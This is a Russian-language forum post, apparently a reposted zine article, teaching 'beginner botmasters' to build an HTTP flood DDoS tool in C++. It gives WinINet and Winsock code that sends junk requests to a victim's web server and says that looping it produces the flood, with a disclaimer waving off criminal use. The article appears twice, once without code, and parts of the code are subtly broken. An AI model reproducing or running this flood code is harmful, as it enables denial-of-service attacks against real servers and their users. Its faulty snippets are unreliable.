эта статья писалась мной для езина xakepy, который был неочень удачным. но материал полезный и я думаю его стоит прочитать начинающим ботмастерам - пригодиться
===================================================
Принципы и практическая реализация DDoS атак
Я немного напомню про реализацию ДДос атак. Весь принцип основывается на том, что атакуемая машина перегружается левыми запросами, которые нужно обрабатывать и тратить свои ресурсы. И когда количество требуемых ресурсов выше, чем существует, то машина зависает. Я буду это реализовать на С++. Все что нам нужно, это посылка дынных на атакуемый сервер. Я буду в качестве цели использовать вэб сервер. Ну что, начнем пожалуй кодить. Для посылки данных вэб серверу можно использовать сокеты или wininet. Отправка дынных через wininet гараздо проще, чем через сокеты, но все же не будем этот способ отбрасывать и я покажу как это реализуется.
Отправка данных вебсереверу испльзуя wininet
для начала добавим к исходнику эти строчки:
это необходимо для того чтобы использовать wininet. теперь определим "мусор", который мы будем посылать.
Так, опреледившись, что мы будем передавать форме, нужно это передать серверу. Ну чтож приступим. Делается это очень легко:
Как все просто. С wininet разобрались, но есть еще способ через сокеты. Он конечно кривой, грамоздкий, но всеже заслуживает внимания.
Отправка данных вебсереверу испльзуя сокеты
Я буду использовать вторые сокеты. Теперь определим, что будем их использовать
Тепрь создадим "мусор":
Теперь проинициализируем сокеты
Далее будет идти создание сокета и назначения ему пункта доставки нашего "мусора":
C целью определились и теперь можно все это передавать
Ну вот и все. Если все это дело поставить на цикл, то можно получить неплахую програмульку для http флуда. Кстати, это не единственный вид флуда. Можно еще использовать icmp, syn, ask флуд. Но тут надо исползовать сырые сокеты, собирать пакет самому, создавать для него контрольные суммы и тд. Ах да чуть не забыл: Я не несу ответсвенности за использование этого материала в целях нарушающих УК вашей страны.
Удачного компилирования.
================================================
хотелось бы услышать отзывы о статье. если понравиться, то буду писать еще. в это сфере у меня много знаний и наработок
===================================================
Принципы и практическая реализация DDoS атак
Я немного напомню про реализацию ДДос атак. Весь принцип основывается на том, что атакуемая машина перегружается левыми запросами, которые нужно обрабатывать и тратить свои ресурсы. И когда количество требуемых ресурсов выше, чем существует, то машина зависает. Я буду это реализовать на С++. Все что нам нужно, это посылка дынных на атакуемый сервер. Я буду в качестве цели использовать вэб сервер. Ну что, начнем пожалуй кодить. Для посылки данных вэб серверу можно использовать сокеты или wininet. Отправка дынных через wininet гараздо проще, чем через сокеты, но все же не будем этот способ отбрасывать и я покажу как это реализуется.
Отправка данных вебсереверу испльзуя wininet
для начала добавим к исходнику эти строчки:
Код:
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
Код:
static TCHAR hdrs[] = _T("Content-Type: application/x-www-form-urlencoded");
static TCHAR frmdata[] =_T("userid=1&passwd=qwerty");// здесь мы опрелеляем, что именно мы будем передавать
// мы передаем форме айди юзера равное 1 и его пароль qwerty
statuc TCHAR accept[] =_T("Accept: */*");
Код:
HINTERNET hSession = InternetOpen("Ослик",INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
// открываем сессию
HINTERNET hConnect = InternetConnect(hSession, _T("Имя сервера, напр. microsoft.com"),INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
// соединяемся с сервером
HINTERNET hRequest = HttpOpenRequest(hConnect, "POST",_T("Имя формы, которой мы будем передавать данные"), NULL, NULL, accept, 0, 1);
HttpSendRequest(hRequest, hdrs, strlen(hdrs), frmdata, strlen(frmdata));
// сама передача дынных форме.
Отправка данных вебсереверу испльзуя сокеты
Я буду использовать вторые сокеты. Теперь определим, что будем их использовать
Код:
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
Код:
char *RbcMessage[] =
{
"GET /index.php HTTP/1.1\r\n",
"Accept: */*\r\n",
"Referer: http://www.127.0.0.1.ru\r\n",
"Accept-Language: ru\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\n",
"Host: www.google.com\r\n\r\n\r\n",
NULL
};
int iMsg = 0;
Код:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2), &WSAData);
// вот здесь я прописываю что будет использоваться вторая версия сокетов.
Код:
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
sockaddr_in sendsock;
sendsock.sin_family = AF_INET;
sendsock.sin_port = htons(80);
// 80 порт - порт веб сервера, но я надеюсь, что вы это знаете
sendsock.sin_addr.s_addr=inet_addr(127.0.0.1);
// прописываем ip адрес жертвы
Код:
connect(sock,(LPSOCKADDR)&sendsock,sizeof(sendsock));
for(iMsg = 0;(RbcMessage[iMsg]); iMsg++)
send(sock, (LPSTR)RbcMessage, strlen(RbcMessage[iMsg]), 0);
closesocket(sock);
Удачного компилирования.
================================================
хотелось бы услышать отзывы о статье. если понравиться, то буду писать еще. в это сфере у меня много знаний и наработок